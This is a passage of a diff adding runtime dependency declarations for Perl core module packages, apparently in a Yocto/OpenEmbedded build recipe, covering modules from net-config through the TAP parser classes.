+RDEPENDS:perl-module-net-config += "perl-module-exporter"
+RDEPENDS:perl-module-net-config += "perl-module-socket"
+RDEPENDS:perl-module-net-config += "perl-module-strict"
+RDEPENDS:perl-module-net-config += "perl-module-warnings"
+RDEPENDS:perl-module-net-domain += "perl-module-exporter"
+RDEPENDS:perl-module-net-domain += "perl-module-net-config"
+RDEPENDS:perl-module-net-domain += "perl-module-posix"
+RDEPENDS:perl-module-net-domain += "perl-module-socket"
+RDEPENDS:perl-module-net-domain += "perl-module-strict"
+RDEPENDS:perl-module-net-domain += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-net-ftp-dataconn"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-a += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-errno"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-dataconn += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-net-ftp-i"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-e += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-net-ftp-dataconn"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-i += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-net-ftp-i"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp-l += "perl-module-warnings"
+RDEPENDS:perl-module-net-ftp += "perl-module-constant"
+RDEPENDS:perl-module-net-ftp += "perl-module-fcntl"
+RDEPENDS:perl-module-net-ftp += "perl-module-file-basename"
+RDEPENDS:perl-module-net-ftp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-ftp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-config"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-ftp-a"
+RDEPENDS:perl-module-net-ftp += "perl-module-net-netrc"
+RDEPENDS:perl-module-net-ftp += "perl-module-socket"
+RDEPENDS:perl-module-net-ftp += "perl-module-strict"
+RDEPENDS:perl-module-net-ftp += "perl-module-time-local"
+RDEPENDS:perl-module-net-ftp += "perl-module-warnings"
+RDEPENDS:perl-module-net-hostent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-hostent += "perl-module-exporter"
+RDEPENDS:perl-module-net-hostent += "perl-module-socket"
+RDEPENDS:perl-module-net-hostent += "perl-module-strict"
+RDEPENDS:perl-module-net-netent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-netent += "perl-module-exporter"
+RDEPENDS:perl-module-net-netent += "perl-module-socket"
+RDEPENDS:perl-module-net-netent += "perl-module-strict"
+RDEPENDS:perl-module-net-netrc += "perl-module-filehandle"
+RDEPENDS:perl-module-net-netrc += "perl-module-strict"
+RDEPENDS:perl-module-net-netrc += "perl-module-warnings"
+RDEPENDS:perl-module-net-nntp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-nntp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-nntp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-nntp += "perl-module-net-config"
+RDEPENDS:perl-module-net-nntp += "perl-module-strict"
+RDEPENDS:perl-module-net-nntp += "perl-module-time-local"
+RDEPENDS:perl-module-net-nntp += "perl-module-warnings"
+RDEPENDS:perl-module-net-ping += "perl-module-constant"
+RDEPENDS:perl-module-net-ping += "perl-module-exporter"
+RDEPENDS:perl-module-net-ping += "perl-module-fcntl"
+RDEPENDS:perl-module-net-ping += "perl-module-filehandle"
+RDEPENDS:perl-module-net-ping += "perl-module-io-socket-inet"
+RDEPENDS:perl-module-net-ping += "perl-module-posix"
+RDEPENDS:perl-module-net-ping += "perl-module-socket"
+RDEPENDS:perl-module-net-ping += "perl-module-strict"
+RDEPENDS:perl-module-net-ping += "perl-module-time-hires"
+RDEPENDS:perl-module-net-ping += "perl-module-vars"
+RDEPENDS:perl-module-net-pop3 += "perl-module-io-socket"
+RDEPENDS:perl-module-net-pop3 += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-pop3 += "perl-module-mime-base64"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-config"
+RDEPENDS:perl-module-net-pop3 += "perl-module-net-netrc"
+RDEPENDS:perl-module-net-pop3 += "perl-module-strict"
+RDEPENDS:perl-module-net-pop3 += "perl-module-warnings"
+RDEPENDS:perl-module-net-protoent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-protoent += "perl-module-exporter"
+RDEPENDS:perl-module-net-protoent += "perl-module-strict"
+RDEPENDS:perl-module-net-servent += "perl-module-class-struct"
+RDEPENDS:perl-module-net-servent += "perl-module-exporter"
+RDEPENDS:perl-module-net-servent += "perl-module-strict"
+RDEPENDS:perl-module-net-smtp += "perl-module-io-socket"
+RDEPENDS:perl-module-net-smtp += "perl-module-io-socket-ip"
+RDEPENDS:perl-module-net-smtp += "perl-module-mime-base64"
+RDEPENDS:perl-module-net-smtp += "perl-module-net-cmd"
+RDEPENDS:perl-module-net-smtp += "perl-module-net-config"
+RDEPENDS:perl-module-net-smtp += "perl-module-socket"
+RDEPENDS:perl-module-net-smtp += "perl-module-strict"
+RDEPENDS:perl-module-net-smtp += "perl-module-warnings"
+RDEPENDS:perl-module-net-time += "perl-module-exporter"
+RDEPENDS:perl-module-net-time += "perl-module-io-select"
+RDEPENDS:perl-module-net-time += "perl-module-io-socket"
+RDEPENDS:perl-module-net-time += "perl-module-net-config"
+RDEPENDS:perl-module-net-time += "perl-module-strict"
+RDEPENDS:perl-module-net-time += "perl-module-warnings"
+RDEPENDS:perl-module-next += "perl-module-overload"
+RDEPENDS:perl-module-next += "perl-module-strict"
+RDEPENDS:perl-module-next += "perl-module-warnings"
+RDEPENDS:perl-module-ok += "perl-module-strict"
+RDEPENDS:perl-module-ok += "perl-module-test-more"
+RDEPENDS:perl-module-opcode += "perl-module-exporter"
+RDEPENDS:perl-module-opcode += "perl-module-strict"
+RDEPENDS:perl-module-opcode += "perl-module-subs"
+RDEPENDS:perl-module-opcode += "perl-module-xsloader"
+RDEPENDS:perl-module-open += "perl-module-encode"
+RDEPENDS:perl-module-open += "perl-module-encoding"
+RDEPENDS:perl-module-open += "perl-module-warnings"
+RDEPENDS:perl-module-o += "perl-module-b"
+RDEPENDS:perl-module-ops += "perl-module-opcode"
+RDEPENDS:perl-module-overloading += "perl-module-overload-numbers"
+RDEPENDS:perl-module-overloading += "perl-module-warnings"
+RDEPENDS:perl-module-overload += "perl-module-mro"
+RDEPENDS:perl-module-overload += "perl-module-strict"
+RDEPENDS:perl-module-overload += "perl-module-warnings-register"
+RDEPENDS:perl-module-params-check += "perl-module-exporter"
+RDEPENDS:perl-module-params-check += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-params-check += "perl-module-strict"
+RDEPENDS:perl-module-params-check += "perl-module-vars"
+RDEPENDS:perl-module-parent += "perl-module-strict"
+RDEPENDS:perl-module-perlfaq += "perl-module-strict"
+RDEPENDS:perl-module-perlfaq += "perl-module-warnings"
+RDEPENDS:perl-module-perlio-encoding += "perl-module-strict"
+RDEPENDS:perl-module-perlio-encoding += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-strict"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-warnings"
+RDEPENDS:perl-module-perlio-mmap += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-scalar += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-via += "perl-module-xsloader"
+RDEPENDS:perl-module-perlio-via-quotedprint += "perl-module-mime-quotedprint"
+RDEPENDS:perl-module-perlio-via-quotedprint += "perl-module-strict"
+RDEPENDS:perl-module-pod-checker += "perl-module-base"
+RDEPENDS:perl-module-pod-checker += "perl-module-exporter"
+RDEPENDS:perl-module-pod-checker += "perl-module-strict"
+RDEPENDS:perl-module-pod-checker += "perl-module-warnings"
+RDEPENDS:perl-module-pod-escapes += "perl-module-exporter"
+RDEPENDS:perl-module-pod-escapes += "perl-module-strict"
+RDEPENDS:perl-module-pod-escapes += "perl-module-vars"
+RDEPENDS:perl-module-pod-escapes += "perl-module-warnings"
+RDEPENDS:perl-module-pod-functions += "perl-module-exporter"
+RDEPENDS:perl-module-pod-functions += "perl-module-strict"
+RDEPENDS:perl-module-pod-man += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-man += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-man += "perl-module-strict"
+RDEPENDS:perl-module-pod-man += "perl-module-subs"
+RDEPENDS:perl-module-pod-man += "perl-module-vars"
+RDEPENDS:perl-module-pod-man += "perl-module-warnings"
+RDEPENDS:perl-module-pod-parselink += "perl-module-exporter"
+RDEPENDS:perl-module-pod-parselink += "perl-module-strict"
+RDEPENDS:perl-module-pod-parselink += "perl-module-vars"
+RDEPENDS:perl-module-pod-parselink += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-config"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-baseto += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-getoptsoo += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-getoptsoo += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-config"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-encode"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-fcntl"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-file-temp"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-pod-perldoc-getoptsoo"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-text-parsewords"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-pod-text-color"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toansi += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-pod-checker"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tochecker += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-encode"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-io-handle"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-io-select"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-ipc-open3"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-pod-man"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-pod-perldoc-topod"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toman += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-pod-man"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tonroff += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-topod += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-tortf += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-pod-text-termcap"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toterm += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-totext += "perl-module-warnings"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-parent"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-strict"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-vars"
+RDEPENDS:perl-module-pod-perldoc-toxml += "perl-module-warnings"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-if"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-pod-simple-transcode"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-blackbox += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-checker += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-debug += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-dumpastext += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-dumpastext += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-dumpasxml += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-justpod += "perl-module-warnings"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-overload"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-pod-simple-blackbox"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-linksection += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-methody += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-escapes"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-blackbox"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-linksection"
+RDEPENDS:perl-module-pod-simple += "perl-module-pod-simple-tiedoutfh"
+RDEPENDS:perl-module-pod-simple += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-progress += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserendtoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserendtoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserstarttoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparsertexttoken"
+RDEPENDS:perl-module-pod-simple-pullparser += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparserstarttoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-pod-simple-pullparsertoken"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-pullparsertexttoken += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-pullparsertoken += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-if"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-integer"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-pod-simple-pullparser"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-rtf += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-config"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-cwd"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-file-basename"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-search += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-simpletree += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-textcontent += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-pod-simple-methody"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-text-wrap"
+RDEPENDS:perl-module-pod-simple-text += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-tiedoutfh += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-tiedoutfh += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcodedumb += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcodedumb += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcode += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcode += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-encode"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-transcodesmart += "perl-module-vars"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-strict"
+RDEPENDS:perl-module-pod-simple-xmloutstream += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-color += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-color += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-color += "perl-module-term-ansicolor"
+RDEPENDS:perl-module-pod-text-color += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-color += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-overstrike += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text += "perl-module-encode"
+RDEPENDS:perl-module-pod-text += "perl-module-exporter"
+RDEPENDS:perl-module-pod-text += "perl-module-pod-simple"
+RDEPENDS:perl-module-pod-text += "perl-module-strict"
+RDEPENDS:perl-module-pod-text += "perl-module-vars"
+RDEPENDS:perl-module-pod-text += "perl-module-warnings"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-pod-text"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-posix"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-strict"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-term-cap"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-vars"
+RDEPENDS:perl-module-pod-text-termcap += "perl-module-warnings"
+RDEPENDS:perl-module-pod-usage += "perl-module-config"
+RDEPENDS:perl-module-pod-usage += "perl-module-exporter"
+RDEPENDS:perl-module-pod-usage += "perl-module-strict"
+RDEPENDS:perl-module-posix += "perl-module-exporter"
+RDEPENDS:perl-module-posix += "perl-module-fcntl"
+RDEPENDS:perl-module-posix += "perl-module-strict"
+RDEPENDS:perl-module-posix += "perl-module-tie-hash"
+RDEPENDS:perl-module-posix += "perl-module-warnings"
+RDEPENDS:perl-module-posix += "perl-module-xsloader"
+RDEPENDS:perl-module-re += "perl-module-exporter"
+RDEPENDS:perl-module-re += "perl-module-strict"
+RDEPENDS:perl-module-re += "perl-module-term-cap"
+RDEPENDS:perl-module-re += "perl-module-warnings"
+RDEPENDS:perl-module-re += "perl-module-xsloader"
+RDEPENDS:perl-module-safe += "perl-module-b"
+RDEPENDS:perl-module-safe += "perl-module-opcode"
+RDEPENDS:perl-module-safe += "perl-module-strict"
+RDEPENDS:perl-module-safe += "perl-module-utf8"
+RDEPENDS:perl-module-sdbm-file += "perl-module-exporter"
+RDEPENDS:perl-module-sdbm-file += "perl-module-strict"
+RDEPENDS:perl-module-sdbm-file += "perl-module-tie-hash"
+RDEPENDS:perl-module-sdbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-sdbm-file += "perl-module-xsloader"
+RDEPENDS:perl-module-search-dict += "perl-module-exporter"
+RDEPENDS:perl-module-search-dict += "perl-module-feature"
+RDEPENDS:perl-module-search-dict += "perl-module-strict"
+RDEPENDS:perl-module-selfloader += "perl-module-exporter"
+RDEPENDS:perl-module-selfloader += "perl-module-io-handle"
+RDEPENDS:perl-module-selfloader += "perl-module-strict"
+RDEPENDS:perl-module-socket += "perl-module-exporter"
+RDEPENDS:perl-module-socket += "perl-module-strict"
+RDEPENDS:perl-module-socket += "perl-module-warnings-register"
+RDEPENDS:perl-module-socket += "perl-module-xsloader"
+RDEPENDS:perl-module-sort += "perl-module-strict"
+RDEPENDS:perl-module-storable += "perl-module-exporter"
+RDEPENDS:perl-module-storable += "perl-module-io-file"
+RDEPENDS:perl-module-subs += "perl-module-strict"
+RDEPENDS:perl-module-subs += "perl-module-warnings"
+RDEPENDS:perl-module-sub-util += "perl-module-exporter"
+RDEPENDS:perl-module-sub-util += "perl-module-list-util"
+RDEPENDS:perl-module-sub-util += "perl-module-strict"
+RDEPENDS:perl-module-sub-util += "perl-module-warnings"
+RDEPENDS:perl-module-sys-hostname += "perl-module-exporter"
+RDEPENDS:perl-module-sys-hostname += "perl-module-posix"
+RDEPENDS:perl-module-sys-hostname += "perl-module-strict"
+RDEPENDS:perl-module-sys-hostname += "perl-module-warnings"
+RDEPENDS:perl-module-sys-hostname += "perl-module-xsloader"
+RDEPENDS:perl-module-sys-syslog += "perl-module-config"
+RDEPENDS:perl-module-sys-syslog += "perl-module-constant"
+RDEPENDS:perl-module-sys-syslog += "perl-module-dynaloader"
+RDEPENDS:perl-module-sys-syslog += "perl-module-exporter"
+RDEPENDS:perl-module-sys-syslog += "perl-module-fcntl"
+RDEPENDS:perl-module-sys-syslog += "perl-module-file-basename"
+RDEPENDS:perl-module-sys-syslog += "perl-module-posix"
+RDEPENDS:perl-module-sys-syslog += "perl-module-socket"
+RDEPENDS:perl-module-sys-syslog += "perl-module-strict"
+RDEPENDS:perl-module-sys-syslog += "perl-module-sys-hostname"
+RDEPENDS:perl-module-sys-syslog += "perl-module-vars"
+RDEPENDS:perl-module-sys-syslog += "perl-module-warnings"
+RDEPENDS:perl-module-sys-syslog += "perl-module-warnings-register"
+RDEPENDS:perl-module-sys-syslog += "perl-module-xsloader"
+RDEPENDS:perl-module-tap-base += "perl-module-base"
+RDEPENDS:perl-module-tap-base += "perl-module-constant"
+RDEPENDS:perl-module-tap-base += "perl-module-strict"
+RDEPENDS:perl-module-tap-base += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-tap-formatter-color"
+RDEPENDS:perl-module-tap-formatter-base += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-constant"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-color += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-constant"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-file-path"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console-parallelsession += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-console-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-posix"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-tap-formatter-file-session"
+RDEPENDS:perl-module-tap-formatter-file += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-file-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-base"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-strict"
+RDEPENDS:perl-module-tap-formatter-session += "perl-module-warnings"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-constant"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-strict"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-tap-object"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-text-parsewords"
+RDEPENDS:perl-module-tap-harness-env += "perl-module-warnings"
+RDEPENDS:perl-module-tap-harness += "perl-module-base"
+RDEPENDS:perl-module-tap-harness += "perl-module-file-path"
+RDEPENDS:perl-module-tap-harness += "perl-module-io-handle"
+RDEPENDS:perl-module-tap-harness += "perl-module-strict"
+RDEPENDS:perl-module-tap-harness += "perl-module-warnings"
+RDEPENDS:perl-module-tap-object += "perl-module-strict"
+RDEPENDS:perl-module-tap-object += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-benchmark"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-aggregator += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-tap-parser-resultfactory"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-tap-parser-yamlish-reader"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-file-basename"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-base"
